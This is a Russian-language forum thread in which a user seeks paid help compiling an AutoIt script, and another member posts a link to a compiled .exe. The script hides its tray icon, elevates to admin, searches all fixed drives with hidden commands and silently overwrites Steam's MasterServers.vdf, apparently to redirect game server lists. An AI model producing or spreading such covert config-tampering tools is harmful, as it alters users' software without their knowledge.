[Криптография] Есть скрипт,нужно его скомпилировать программой AutoIt.

[Виталий]

Есть скрипт, нужно скомпилировать программой AutoIt.
За работу заплочу.
Оплата ВебМани,персональный аттестат 35+
Писать icq ######
Скайп ######


Добавлено:

Сообщение автоматически объединено: 8 Май 2012

Я так понимаю всем лишние 100рублей на телефон?

 

[CreatoR]

Виталий
Читайте правила раздела.

 

[Виталий]

Извените, а как тогда люди со мной свяжуться?
Лс?
А Вы не можете мне помоч,пожалуйста.

 

[CreatoR]

Виталий [?]

а как тогда люди со мной свяжуться?

Тут на форуме.

Лс?

Если не хотите публиковать здесь части кода, тогда да.

Вы не можете мне помоч

Могу, выложите код, я его скомпилирую, хотя вы это и сами можете сделать скачав AutoIt.

 

[Виталий]

Из скрипта сделать файл .exe

Версия AutoIt: 3.3.8.

Описание:
Сам скрипт внизу прикреплён файл MasterServers.vdf

#NoTrayIcon
If Not IsAdmin() Then
    ShellExecute(@AutoItExe, $CMDLineRaw, @WorkingDir, "runas", @SW_SHOWNORMAL)
    Exit
 EndIf
$drives = DriveGetDrive('FIXED')
For $i = 1 To $drives[0]
    $aOut = _FileSearch($drives[$i], "MasterServers.vdf", 1)
    FileSetAttrib("MasterServers.vdf", "+R")
    If $aOut[0] = 0 Then
    Else
For $a = 1 To $aOut[0]
    FileInstall('MasterServers.vdf', $aOut[$a], 1)
Next
    EndIf
Next
Func _FileSearch($sPath, $sFileMask, $iFlag = 0)    ;Функция для поиска файла
    Local $sOutBin, $sOut, $aOut, $sRead, $hDir, $sAttrib
    Switch $iFlag
        Case 1
            $sAttrib = ' /A-D'
        Case 2
            $sAttrib = ' /AD'
        Case Else
            $sAttrib = ' /A'
    EndSwitch
    $sOut = StringToBinary('0' & @CRLF, 2)
    $aMasks = StringSplit($sFileMask, ';')
    For $i = 1 To $aMasks[0]
        $hDir = Run(@ComSpec & ' /U /C DIR "' & $sPath & '\' & $aMasks[$i] & '" /S /B' & $sAttrib, @SystemDir, @SW_HIDE, 6)
        While 1
            $sRead = StdoutRead($hDir, False, True)
            If @error Then
                ExitLoop
            EndIf
            If $sRead <> "" Then
                $sOut &= $sRead
            EndIf
        Wend
    Next
    $aOut = StringRegExp(BinaryToString($sOut, 2), '[^\r\n]+', 3)
    If @error Then
        Return SetError(1)
    EndIf
    $aOut[0] = UBound($aOut)-1
    Return $aOut
 EndFunc

Примечания:
Простите что прикрепляю файл так,просто не знаю как залить на форум.
MasterServers - http://rghost.ru/37992742

 

[CreatoR]

Re: Из скрипта сделать файл .exe

Эту тему удалять?

 

[Ganibal95]

Re: Из скрипта сделать файл .exe

Я все больше удивляюсь.
http://Ganiball-95.narod2.ru/TempoviK/4288.32855148767.rar - Скомпилированный .exe
http://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe - Автоит.

OffTopic:

Виталий [?]

За работу заплочу.Оплата ВебМани,персональный аттестат 35+

Я так понимаю всем лишние 100рублей на телефон?

Телефончик уточнить?! :whistle:

 

[CreatoR]

Темы соединены.